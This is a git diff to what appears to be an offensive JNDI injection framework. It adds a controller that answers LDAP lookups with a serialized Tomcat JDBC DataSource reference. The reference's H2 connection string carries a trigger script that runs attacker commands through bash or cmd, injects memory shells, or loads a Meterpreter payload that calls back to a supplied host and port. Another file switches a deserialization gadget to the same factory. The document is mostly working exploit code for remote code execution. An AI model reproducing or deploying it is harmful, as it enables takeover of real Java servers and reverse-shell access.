diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java index a85242a..fcff16d 100644 --- a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java @@ -2,7 +2,6 @@ package com.qi4l.jndi.controllers; import com.qi4l.jndi.enumtypes.GadgetType; import com.qi4l.jndi.exceptions.IncorrectParamsException; -import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException; import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; import com.qi4l.jndi.gadgets.Config.Config; import com.qi4l.jndi.gadgets.utils.Gadgets; @@ -13,7 +12,6 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; -import org.apache.commons.cli.CommandLine; import org.apache.naming.ResourceRef; import javax.naming.StringRefAddr; @@ -25,18 +23,10 @@ import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/tomcatbypass"}) public class TomcatBypassController implements LdapController { - public static CommandLine cmdLine; private String payloadType; private String[] params; private GadgetType gadgetType; - /** - * 发送LDAP ResourceRef结果和重定向URL - * - * @param result InMemoryInterceptedSearchResult类型的结果 - * @param base 基本远程参考负载字符串 - * @throws Exception 异常 - */ @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { try { @@ -86,14 +76,6 @@ public class TomcatBypassController implements LdapController { } } - /** - * 处理传入的参数 base - * - * @param base 传入的参数 - * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常 - * @throws IncorrectParamsException 错误的参数异常 - * @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常 - */ @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { try { @@ -108,7 +90,9 @@ public class TomcatBypassController implements LdapController { } catch (IllegalArgumentException e) { throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); } + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex != -1) { if (thirdIndex < 0) thirdIndex = base.length(); try { diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java new file mode 100644 index 0000000..eb5ea29 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java @@ -0,0 +1,188 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.GadgetType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.InjShell; +import com.qi4l.jndi.gadgets.utils.Util; +import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import javax.naming.StringRefAddr; +import java.io.IOException; +import java.lang.reflect.Field; +import javax.naming.Reference; +import javax.naming.StringRefAddr; + +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/tomcatjdbc"}) +public class TomcatJdbcController implements LdapController { + + private String payloadType; + + private String factoryType; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@")); + System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------"); + + // create a TeraDataSource object, holding our JDBC string + // org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory + // org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory + // org.apache.commons.dbcp2.BasicDataSourceFactory + // org.apache.commons.dbcp.BasicDataSourceFactory + // com.alibaba.druid.pool.DruidDataSourceFactory + // org.apache.tomcat.jdbc.pool.DataSourceFactory + Entry e = new Entry(base); + Reference ref = new Reference("javax.sql.DataSource", "org.apache.tomcat.jdbc.pool.DataSourceFactory", null); + TomcatJdbcController.TomcatBypassHelper helper = new TomcatJdbcController.TomcatBypassHelper(); + String code = null; + + if (payloadType.contains("E-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); + code = InjShell.injectClass(EchoClass); + } + + if (payloadType.contains("M-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + InjShell.init(params); + Class classQ = Gadgets.createClassT(ClassName1); + code = InjShell.injectClass(classQ); + } + + if (payloadType.contains("command")) { + code = helper.getExecCode(params[0]); + } + + if (payloadType.contains("meterpreter")) { + code = helper.injectMeterpreter(); + } + + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + + "{replacement}\n" + + "$$\n"; + String JDBC_URL1 = JDBC_URL.replace("{replacement}", code); + ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); + ref.add(new StringRefAddr("url",JDBC_URL1)); + ref.add(new StringRefAddr("username","root")); + ref.add(new StringRefAddr("password","password")); + ref.add(new StringRefAddr("initialSize","1")); + e.addAttribute("javaClassName", "java.lang.String"); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + try { + factoryType = base.substring(secondIndex + 1, thirdIndex); + System.out.println(ansi().render("@|green [+] FactoryType : |@" + factoryType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int fourthIndex = base.indexOf("/", thirdIndex + 1); + + if (fourthIndex != -1) { + if (fourthIndex < 0) fourthIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Util.base64Decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } + + private class TomcatBypassHelper { + + public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + Class ctClazz = Class.forName("com.qi4l.jndi.template.Meterpreter"); + Field WinClassName = ctClazz.getDeclaredField("host"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, params[0]); + Field WinclassBody = ctClazz.getDeclaredField("port"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, params[1]); + return InjShell.injectClass(ctClazz); + } + + public String getExecCode(String cmd) throws IOException { + + String code = "var strs=new Array(3);\n" + + " if(java.io.File.separator.equals('/')){\n" + + " strs[0]='/bin/bash';\n" + + " strs[1]='-c';\n" + + " strs[2]='" + cmd + "';\n" + + " }else{\n" + + " strs[0]='cmd';\n" + + " strs[1]='/C';\n" + + " strs[2]='" + cmd + "';\n" + + " }\n" + + " java.lang.Runtime.getRuntime().exec(strs);"; + + return code; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.java index 86e9594..3b5f5be 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.java +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1JDBC.java @@ -24,7 +24,8 @@ public class CommonsBeanutils1JDBC implements ObjectPayload { //org.apache.commons.dbcp2.BasicDataSourceFactory //org.apache.commons.dbcp.BasicDataSourceFactory //com.alibaba.druid.pool.DruidDataSourceFactory - Reference ref = dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory", command); + //org.apache.tomcat.jdbc.pool.DataSourceFactory + Reference ref = dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory", command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit");